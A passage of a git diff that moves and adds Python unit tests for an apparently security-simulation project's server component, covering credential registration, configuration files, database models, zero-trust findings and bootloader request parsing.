+from unittest.mock import MagicMock, patch
+
+import pytest
+
+from common.utils.exceptions import (
+ AlreadyRegisteredError,
+ CredentialsNotRequiredError,
+ InvalidRegistrationCredentialsError,
+ RegistrationNotNeededError,
+)
+from monkey_island.cc.environment import Environment, EnvironmentConfig, UserCreds
+
+WITH_CREDENTIALS = None
+NO_CREDENTIALS = None
+PARTIAL_CREDENTIALS = None
+STANDARD_WITH_CREDENTIALS = None
+STANDARD_ENV = None
+
+EMPTY_USER_CREDENTIALS = UserCreds("", "")
+FULL_USER_CREDENTIALS = UserCreds(username="test", password_hash="1231234")
+
+
+# This fixture is a dirty hack that can be removed once these tests are converted from
+# unittest to pytest. Instead, the appropriate fixtures from conftest.py can be used.
+@pytest.fixture(scope="module", autouse=True)
+def configure_resources(server_configs_dir):
+ global WITH_CREDENTIALS
+ global NO_CREDENTIALS
+ global PARTIAL_CREDENTIALS
+ global STANDARD_WITH_CREDENTIALS
+ global STANDARD_ENV
+
+ WITH_CREDENTIALS = os.path.join(server_configs_dir, "server_config_with_credentials.json")
+ NO_CREDENTIALS = os.path.join(server_configs_dir, "server_config_no_credentials.json")
+ PARTIAL_CREDENTIALS = os.path.join(server_configs_dir, "server_config_partial_credentials.json")
+ STANDARD_WITH_CREDENTIALS = os.path.join(
+ server_configs_dir, "server_config_standard_with_credentials.json"
+ )
+ STANDARD_ENV = os.path.join(server_configs_dir, "server_config_standard_env.json")
+
+
+def get_tmp_file():
+ with tempfile.NamedTemporaryFile(delete=False) as f:
+ return f.name
+
+
+class StubEnvironmentConfig(EnvironmentConfig):
+ def __init__(self, server_config, deployment, user_creds):
+ self.server_config = server_config
+ self.deployment = deployment
+ self.user_creds = user_creds
+ self.server_config_path = get_tmp_file()
+
+ def __del__(self):
+ os.remove(self.server_config_path)
+
+
+class TestEnvironment(TestCase):
+ class EnvironmentCredentialsNotRequired(Environment):
+ def __init__(self):
+ config = StubEnvironmentConfig("test", "test", EMPTY_USER_CREDENTIALS)
+ super().__init__(config)
+
+ _credentials_required = False
+
+ def get_auth_users(self):
+ return []
+
+ class EnvironmentCredentialsRequired(Environment):
+ def __init__(self):
+ config = StubEnvironmentConfig("test", "test", EMPTY_USER_CREDENTIALS)
+ super().__init__(config)
+
+ _credentials_required = True
+
+ def get_auth_users(self):
+ return []
+
+ class EnvironmentAlreadyRegistered(Environment):
+ def __init__(self):
+ config = StubEnvironmentConfig("test", "test", UserCreds("test_user", "test_secret"))
+ super().__init__(config)
+
+ _credentials_required = True
+
+ def get_auth_users(self):
+ return [1, "Test_username", "Test_secret"]
+
+ @patch.object(target=EnvironmentConfig, attribute="save_to_file", new=MagicMock())
+ def test_try_add_user(self):
+ env = TestEnvironment.EnvironmentCredentialsRequired()
+ credentials = FULL_USER_CREDENTIALS
+ env.try_add_user(credentials)
+
+ credentials = UserCreds(username="test", password_hash="")
+ with self.assertRaises(InvalidRegistrationCredentialsError):
+ env.try_add_user(credentials)
+
+ env = TestEnvironment.EnvironmentCredentialsNotRequired()
+ credentials = FULL_USER_CREDENTIALS
+ with self.assertRaises(RegistrationNotNeededError):
+ env.try_add_user(credentials)
+
+ def test_try_needs_registration(self):
+ env = TestEnvironment.EnvironmentAlreadyRegistered()
+ with self.assertRaises(AlreadyRegisteredError):
+ env._try_needs_registration()
+
+ env = TestEnvironment.EnvironmentCredentialsNotRequired()
+ with self.assertRaises(CredentialsNotRequiredError):
+ env._try_needs_registration()
+
+ env = TestEnvironment.EnvironmentCredentialsRequired()
+ self.assertTrue(env._try_needs_registration())
+
+ def test_needs_registration(self):
+ env = TestEnvironment.EnvironmentCredentialsRequired()
+ self._test_bool_env_method("needs_registration", env, WITH_CREDENTIALS, False)
+ self._test_bool_env_method("needs_registration", env, NO_CREDENTIALS, True)
+ self._test_bool_env_method("needs_registration", env, PARTIAL_CREDENTIALS, True)
+
+ env = TestEnvironment.EnvironmentCredentialsNotRequired()
+ self._test_bool_env_method("needs_registration", env, STANDARD_ENV, False)
+ self._test_bool_env_method("needs_registration", env, STANDARD_WITH_CREDENTIALS, False)
+
+ def test_is_registered(self):
+ env = TestEnvironment.EnvironmentCredentialsRequired()
+ self._test_bool_env_method("_is_registered", env, WITH_CREDENTIALS, True)
+ self._test_bool_env_method("_is_registered", env, NO_CREDENTIALS, False)
+ self._test_bool_env_method("_is_registered", env, PARTIAL_CREDENTIALS, False)
+
+ env = TestEnvironment.EnvironmentCredentialsNotRequired()
+ self._test_bool_env_method("_is_registered", env, STANDARD_ENV, False)
+ self._test_bool_env_method("_is_registered", env, STANDARD_WITH_CREDENTIALS, False)
+
+ def test_is_credentials_set_up(self):
+ env = TestEnvironment.EnvironmentCredentialsRequired()
+ self._test_bool_env_method("_is_credentials_set_up", env, NO_CREDENTIALS, False)
+ self._test_bool_env_method("_is_credentials_set_up", env, WITH_CREDENTIALS, True)
+ self._test_bool_env_method("_is_credentials_set_up", env, PARTIAL_CREDENTIALS, False)
+
+ env = TestEnvironment.EnvironmentCredentialsNotRequired()
+ self._test_bool_env_method("_is_credentials_set_up", env, STANDARD_ENV, False)
+
+ def _test_bool_env_method(
+ self, method_name: str, env: Environment, config: Dict, expected_result: bool
+ ):
+ env._config = EnvironmentConfig(config)
+ method = getattr(env, method_name)
+ if expected_result:
+ self.assertTrue(method())
+ else:
+ self.assertFalse(method())
diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py
new file mode 100644
index 000000000..0e3efda04
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py
@@ -0,0 +1,95 @@
+import json
+import os
+import shutil
+
+import pytest
+
+from monkey_island.cc.environment.environment_config import EnvironmentConfig
+from monkey_island.cc.environment.user_creds import UserCreds
+
+
+@pytest.fixture
+def config_file(tmpdir):
+ return os.path.join(tmpdir, "test_config.json")
+
+
+def test_get_with_credentials(with_credentials):
+ config_dict = EnvironmentConfig(with_credentials).to_dict()
+
+ assert len(config_dict.keys()) == 4
+ assert config_dict["server_config"] == "password"
+ assert config_dict["deployment"] == "develop"
+ assert config_dict["user"] == "test"
+ assert config_dict["password_hash"] == "abcdef"
+
+
+def test_get_with_no_credentials(no_credentials):
+ config_dict = EnvironmentConfig(no_credentials).to_dict()
+
+ assert len(config_dict.keys()) == 2
+ assert config_dict["server_config"] == "password"
+ assert config_dict["deployment"] == "develop"
+
+
+def test_get_with_partial_credentials(partial_credentials):
+ config_dict = EnvironmentConfig(partial_credentials).to_dict()
+
+ assert len(config_dict.keys()) == 3
+ assert config_dict["server_config"] == "password"
+ assert config_dict["deployment"] == "develop"
+ assert config_dict["user"] == "test"
+
+
+def test_save_to_file(config_file, standard_with_credentials):
+ shutil.copyfile(standard_with_credentials, config_file)
+
+ environment_config = EnvironmentConfig(config_file)
+ environment_config.aws = "test_aws"
+ environment_config.save_to_file()
+
+ with open(config_file, "r") as f:
+ from_file = json.load(f)
+
+ assert environment_config.to_dict() == from_file["environment"]
+
+
+def test_save_to_file_preserve_log_level(config_file, standard_with_credentials):
+ shutil.copyfile(standard_with_credentials, config_file)
+
+ environment_config = EnvironmentConfig(config_file)
+ environment_config.aws = "test_aws"
+ environment_config.save_to_file()
+
+ with open(config_file, "r") as f:
+ from_file = json.load(f)
+
+ assert "log_level" in from_file
+ assert from_file["log_level"] == "NOTICE"
+
+
+def test_add_user(config_file, standard_with_credentials):
+ new_user = "new_user"
+ new_password_hash = "fedcba"
+ new_user_creds = UserCreds(new_user, new_password_hash)
+
+ shutil.copyfile(standard_with_credentials, config_file)
+
+ environment_config = EnvironmentConfig(config_file)
+ environment_config.add_user(new_user_creds)
+
+ with open(config_file, "r") as f:
+ from_file = json.load(f)
+
+ assert len(from_file["environment"].keys()) == 4
+ assert from_file["environment"]["user"] == new_user
+ assert from_file["environment"]["password_hash"] == new_password_hash
+
+
+def test_get_users(standard_with_credentials):
+ environment_config = EnvironmentConfig(standard_with_credentials)
+ users = environment_config.get_users()
+
+ assert len(users) == 1
+ assert users[0].id == 1
+ assert users[0].username == "test"
+ assert users[0].secret == "abcdef"
diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_server_config_handler.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_server_config_handler.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_user_creds.py
new file mode 100644
index 000000000..7d83ba59f
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_user_creds.py
@@ -0,0 +1,44 @@
+from monkey_island.cc.environment.user_creds import UserCreds
+
+TEST_USER = "Test"
+TEST_HASH = "abc1231234"
+
+
+def test_bool_true():
+ assert UserCreds(TEST_USER, TEST_HASH)
+
+
+def test_bool_false_empty_password_hash():
+ assert not UserCreds(TEST_USER, "")
+
+
+def test_bool_false_empty_user():
+ assert not UserCreds("", TEST_HASH)
+
+
+def test_bool_false_empty_user_and_password_hash():
+ assert not UserCreds("", "")
+
+
+def test_to_dict_empty_creds():
+ user_creds = UserCreds("", "")
+ assert user_creds.to_dict() == {}
+
+
+def test_to_dict_full_creds():
+ user_creds = UserCreds(TEST_USER, TEST_HASH)
+ assert user_creds.to_dict() == {"user": TEST_USER, "password_hash": TEST_HASH}
+
+
+def test_to_auth_user_full_credentials():
+ user_creds = UserCreds(TEST_USER, TEST_HASH)
+ auth_user = user_creds.to_auth_user()
+ assert auth_user.id == 1
+ assert auth_user.username == TEST_USER
+ assert auth_user.secret == TEST_HASH
+
+
+def test_member_values(monkeypatch):
+ creds = UserCreds(TEST_USER, TEST_HASH)
+ assert creds.username == TEST_USER
+ assert creds.password_hash == TEST_HASH
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py
similarity index 69%
rename from monkey/monkey_island/cc/models/test_monkey.py
rename to monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py
index 7860de20e..90fd9032a 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py
@@ -1,28 +1,21 @@
import logging
import uuid
-from time import sleep
import pytest
from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError
-
-from .monkey_ttl import MonkeyTtl
-from ..test_common.fixtures import FixtureEnum
+from monkey_island.cc.models.monkey_ttl import MonkeyTtl
logger = logging.getLogger(__name__)
class TestMonkey:
-
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_is_dead(self):
# Arrange
alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
alive_monkey_ttl.save()
- alive_monkey = Monkey(
- guid=str(uuid.uuid4()),
- dead=False,
- ttl_ref=alive_monkey_ttl.id)
+ alive_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=alive_monkey_ttl.id)
alive_monkey.save()
# MIA stands for Missing In Action
@@ -30,8 +23,9 @@ class TestMonkey:
mia_monkey_ttl.save()
mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl.id)
mia_monkey.save()
- # Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a real mongo instance.
- sleep(1)
+
+ # Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a
+ # real mongo instance.
mia_monkey_ttl.delete()
dead_monkey = Monkey(guid=str(uuid.uuid4()), dead=True)
@@ -42,7 +36,7 @@ class TestMonkey:
assert mia_monkey.is_dead()
assert not alive_monkey.is_dead()
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_ttl_renewal(self):
# Arrange
monkey = Monkey(guid=str(uuid.uuid4()))
@@ -53,7 +47,7 @@ class TestMonkey:
monkey.renew_ttl()
assert monkey.ttl_ref
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_get_single_monkey_by_id(self):
# Arrange
a_monkey = Monkey(guid=str(uuid.uuid4()))
@@ -67,14 +61,14 @@ class TestMonkey:
with pytest.raises(MonkeyNotFoundError) as _:
_ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef")
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_get_os(self):
- linux_monkey = Monkey(guid=str(uuid.uuid4()),
- description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu")
- windows_monkey = Monkey(guid=str(uuid.uuid4()),
- description="Windows bla bla bla")
- unknown_monkey = Monkey(guid=str(uuid.uuid4()),
- description="bla bla bla")
+ linux_monkey = Monkey(
+ guid=str(uuid.uuid4()),
+ description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu",
+ )
+ windows_monkey = Monkey(guid=str(uuid.uuid4()), description="Windows bla bla bla")
+ unknown_monkey = Monkey(guid=str(uuid.uuid4()), description="bla bla bla")
linux_monkey.save()
windows_monkey.save()
unknown_monkey.save()
@@ -83,34 +77,37 @@ class TestMonkey:
assert 1 == len([m for m in Monkey.objects() if m.get_os() == "linux"])
assert 1 == len([m for m in Monkey.objects() if m.get_os() == "unknown"])
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_get_tunneled_monkeys(self):
- linux_monkey = Monkey(guid=str(uuid.uuid4()),
- description="Linux shay-Virtual-Machine")
- windows_monkey = Monkey(guid=str(uuid.uuid4()),
- description="Windows bla bla bla",
- tunnel=linux_monkey)
- unknown_monkey = Monkey(guid=str(uuid.uuid4()),
- description="bla bla bla",
- tunnel=windows_monkey)
+ linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine")
+ windows_monkey = Monkey(
+ guid=str(uuid.uuid4()), description="Windows bla bla bla", tunnel=linux_monkey
+ )
+ unknown_monkey = Monkey(
+ guid=str(uuid.uuid4()), description="bla bla bla", tunnel=windows_monkey
+ )
linux_monkey.save()
windows_monkey.save()
unknown_monkey.save()
tunneled_monkeys = Monkey.get_tunneled_monkeys()
- test = bool(windows_monkey in tunneled_monkeys
- and unknown_monkey in tunneled_monkeys
- and linux_monkey not in tunneled_monkeys
- and len(tunneled_monkeys) == 2)
+ test = bool(
+ windows_monkey in tunneled_monkeys
+ and unknown_monkey in tunneled_monkeys
+ and linux_monkey not in tunneled_monkeys
+ and len(tunneled_monkeys) == 2
+ )
assert test
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_get_label_by_id(self):
hostname_example = "a_hostname"
ip_example = "1.1.1.1"
- linux_monkey = Monkey(guid=str(uuid.uuid4()),
- description="Linux shay-Virtual-Machine",
- hostname=hostname_example,
- ip_addresses=[ip_example])
+ linux_monkey = Monkey(
+ guid=str(uuid.uuid4()),
+ description="Linux shay-Virtual-Machine",
+ hostname=hostname_example,
+ ip_addresses=[ip_example],
+ )
linux_monkey.save()
logger.debug(id(Monkey.get_label_by_id))
@@ -149,7 +146,7 @@ class TestMonkey:
assert cache_info_after_query_3.hits == 1
assert cache_info_after_query_3.misses == 2
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_is_monkey(self):
a_monkey = Monkey(guid=str(uuid.uuid4()))
a_monkey.save()
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_event.py
similarity index 71%
rename from monkey/monkey_island/cc/models/zero_trust/test_event.py
rename to monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_event.py
index f4044c037..653be95ec 100644
--- a/monkey/monkey_island/cc/models/zero_trust/test_event.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_event.py
@@ -11,19 +11,15 @@ class TestEvent:
_ = Event.create_event(
title=None, # title required
message="bla bla",
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
)
with pytest.raises(ValidationError):
_ = Event.create_event(
- title="skjs",
- message="bla bla",
- event_type="Unknown" # Unknown event type
+ title="skjs", message="bla bla", event_type="Unknown" # Unknown event type
)
# Assert that nothing is raised.
_ = Event.create_event(
- title="skjs",
- message="bla bla",
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
+ title="skjs", message="bla bla", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
)
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py
similarity index 59%
rename from monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py
rename to monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py
index 56a4066e1..ec0f741df 100644
--- a/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py
@@ -6,33 +6,38 @@ from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.models.zero_trust.finding import Finding
from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding
from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails
-from monkey_island.cc.test_common.fixtures import FixtureEnum
MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails()
-MONKEY_FINDING_DETAIL_MOCK.events = ['mock1', 'mock2']
+MONKEY_FINDING_DETAIL_MOCK.events = ["mock1", "mock2"]
class TestMonkeyFinding:
-
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_save_finding_validation(self):
with pytest.raises(ValidationError):
- _ = MonkeyFinding.save_finding(test="bla bla",
- status=zero_trust_consts.STATUS_FAILED,
- detail_ref=MONKEY_FINDING_DETAIL_MOCK)
+ _ = MonkeyFinding.save_finding(
+ test="bla bla",
+ status=zero_trust_consts.STATUS_FAILED,
+ detail_ref=MONKEY_FINDING_DETAIL_MOCK,
+ )
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_save_finding_sanity(self):
assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0
event_example = Event.create_event(
- title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
+ title="Event Title",
+ message="event message",
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
+ )
monkey_details_example = MonkeyFindingDetails()
monkey_details_example.events.append(event_example)
monkey_details_example.save()
- MonkeyFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION,
- status=zero_trust_consts.STATUS_FAILED,
- detail_ref=monkey_details_example)
+ MonkeyFinding.save_finding(
+ test=zero_trust_consts.TEST_SEGMENTATION,
+ status=zero_trust_consts.STATUS_FAILED,
+ detail_ref=monkey_details_example,
+ )
assert len(MonkeyFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1
assert len(MonkeyFinding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py
similarity index 62%
rename from monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py
rename to monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py
index 723b428ff..952d87289 100644
--- a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py
@@ -1,30 +1,32 @@
import pytest
from mongoengine import ValidationError
+from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501
+ RULES,
+)
import common.common_consts.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.finding import Finding
from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails
from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding
from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails
-from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES
-from monkey_island.cc.test_common.fixtures import FixtureEnum
MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails()
-MONKEY_FINDING_DETAIL_MOCK.events = ['mock1', 'mock2']
+MONKEY_FINDING_DETAIL_MOCK.events = ["mock1", "mock2"]
SCOUTSUITE_FINDING_DETAIL_MOCK = ScoutSuiteFindingDetails()
SCOUTSUITE_FINDING_DETAIL_MOCK.scoutsuite_rules = []
class TestScoutSuiteFinding:
-
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_save_finding_validation(self):
with pytest.raises(ValidationError):
- _ = ScoutSuiteFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION,
- status="bla bla",
- detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK)
+ _ = ScoutSuiteFinding.save_finding(
+ test=zero_trust_consts.TEST_SEGMENTATION,
+ status="bla bla",
+ detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK,
+ )
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_save_finding_sanity(self):
assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0
@@ -32,9 +34,11 @@ class TestScoutSuiteFinding:
scoutsuite_details_example = ScoutSuiteFindingDetails()
scoutsuite_details_example.scoutsuite_rules.append(rule_example)
scoutsuite_details_example.save()
- ScoutSuiteFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION,
- status=zero_trust_consts.STATUS_FAILED,
- detail_ref=scoutsuite_details_example)
+ ScoutSuiteFinding.save_finding(
+ test=zero_trust_consts.TEST_SEGMENTATION,
+ status=zero_trust_consts.STATUS_FAILED,
+ detail_ref=scoutsuite_details_example,
+ )
assert len(ScoutSuiteFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1
assert len(ScoutSuiteFinding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1
diff --git a/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py
similarity index 78%
rename from monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py
rename to monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py
index 8a49d0254..26a41685a 100644
--- a/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py
@@ -6,14 +6,14 @@ from monkey_island.cc.models.edge import Edge
from monkey_island.cc.models.zero_trust.finding import Finding
-@pytest.fixture(scope='session', autouse=True)
+@pytest.fixture(scope="module", autouse=True)
def change_to_mongo_mock():
# Make sure tests are working with mongomock
mongoengine.disconnect()
- mongoengine.connect('mongoenginetest', host='mongomock://localhost')
+ mongoengine.connect("mongoenginetest", host="mongomock://localhost")
-@pytest.fixture(scope='function')
+@pytest.fixture(scope="function")
def uses_database():
_clean_edge_db()
_clean_monkey_db()
diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py
new file mode 100644
index 000000000..3ca40a11a
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py
@@ -0,0 +1,29 @@
+import flask_jwt_extended
+import flask_restful
+import pytest
+from flask import Flask
+
+import monkey_island.cc.app
+import monkey_island.cc.resources.auth.auth
+import monkey_island.cc.resources.island_mode
+from monkey_island.cc.services.representations import output_json
+
+
+@pytest.fixture(scope="session")
+def flask_client(monkeypatch_session):
+ monkeypatch_session.setattr(flask_jwt_extended, "verify_jwt_in_request", lambda: None)
+
+ with mock_init_app().test_client() as client:
+ yield client
+
+
+def mock_init_app():
+ app = Flask(__name__)
+
+ api = flask_restful.Api(app)
+ api.representations = {"application/json": output_json}
+
+ monkey_island.cc.app.init_app_url_rules(app)
+ monkey_island.cc.app.init_api_resources(api)
+
+ return app
diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py
new file mode 100644
index 000000000..d8fd05451
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py
@@ -0,0 +1,66 @@
+from unittest import TestCase
+
+from monkey_island.cc.resources.bootloader import Bootloader
+
+
+class TestBootloader(TestCase):
+ def test_get_request_contents_linux(self):
+ data_without_tunnel = (
+ b'{"system":"linux", '
+ b'"os_version":"NAME="Ubuntu"\n", '
+ b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", '
+ b'"hostname":"test-TEST", '
+ b'"tunnel":false, '
+ b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}'
+ )
+ data_with_tunnel = (
+ b'{"system":"linux", '
+ b'"os_version":"NAME="Ubuntu"\n", '
+ b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", '
+ b'"hostname":"test-TEST", '
+ b'"tunnel":"192.168.56.1:5002", '
+ b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}'
+ )
+
+ result1 = Bootloader._get_request_contents_linux(data_without_tunnel)
+ self.assertTrue(result1["system"] == "linux")
+ self.assertTrue(result1["os_version"] == "Ubuntu")
+ self.assertTrue(result1["glibc_version"] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23")
+ self.assertTrue(result1["hostname"] == "test-TEST")
+ self.assertFalse(result1["tunnel"])
+ self.assertTrue(result1["ips"] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"])
+
+ result2 = Bootloader._get_request_contents_linux(data_with_tunnel)
+ self.assertTrue(result2["system"] == "linux")
+ self.assertTrue(result2["os_version"] == "Ubuntu")
+ self.assertTrue(result2["glibc_version"] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23")
+ self.assertTrue(result2["hostname"] == "test-TEST")
+ self.assertTrue(result2["tunnel"] == "192.168.56.1:5002")
+ self.assertTrue(result2["ips"] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"])
+
+ def test_get_request_contents_windows(self):
+ windows_data = (
+ b'{\x00"\x00s\x00y\x00s\x00t\x00e\x00m\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o'
+ b'\x00w\x00s\x00"\x00,\x00 \x00"\x00o\x00s\x00_\x00v\x00e\x00r\x00s\x00i\x00o\x00n'
+ b'\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x008\x00_\x00o\x00r\x00_\x00g\x00r'
+ b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 '
+ b'\x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"'
+ b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006'
+ b'\x00B\x00"'
+ b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e'
+ b"\x00,\x00 "
+ b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00['
+ b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005'
+ b'\x006\x00.\x001\x00"\x00,\x00 '
+ b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009'
+ b'\x00.\x001\x00"\x00,\x00 '
+ b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.'
+ b'\x001\x00"\x00]\x00}\x00'
+ )
+
+ result = Bootloader._get_request_contents_windows(windows_data)
+ self.assertTrue(result["system"] == "windows")
+ self.assertTrue(result["os_version"] == "windows8_or_greater")
+ self.assertTrue(result["hostname"] == "DESKTOP-PJHU36B")
+ self.assertFalse(result["tunnel"])
+ self.assertTrue(result["ips"] == ["192.168.56.1", "192.168.249.1", "192.168.217.1"])
diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py
new file mode 100644
index 000000000..e9672ebdf
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py
@@ -0,0 +1,29 @@
+import pytest
+from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption_test import (
+ MALFORMED_CIPHER_TEXT_CORRUPTED,
+)
+from tests.unit_tests.monkey_island.cc.services.utils.test_config_encryption import PASSWORD
+
+from common.utils.exceptions import InvalidConfigurationError
+from monkey_island.cc.resources.configuration_import import ConfigurationImport
+from monkey_island.cc.services.utils.encryption import encrypt_string
+
+
+def test_is_config_encrypted__json(monkey_config_json):
+ assert not ConfigurationImport.is_config_encrypted(monkey_config_json)
+
+
+@pytest.mark.slow
+def test_is_config_encrypted__ciphertext(monkey_config_json):
+ encrypted_config = encrypt_string(monkey_config_json, PASSWORD)
+ assert ConfigurationImport.is_config_encrypted(encrypted_config)
+
+
+def test_is_config_encrypted__corrupt_ciphertext():
+ with pytest.raises(InvalidConfigurationError):
+ assert ConfigurationImport.is_config_encrypted(MALFORMED_CIPHER_TEXT_CORRUPTED)
+
+
+def test_is_config_encrypted__unknown_format():
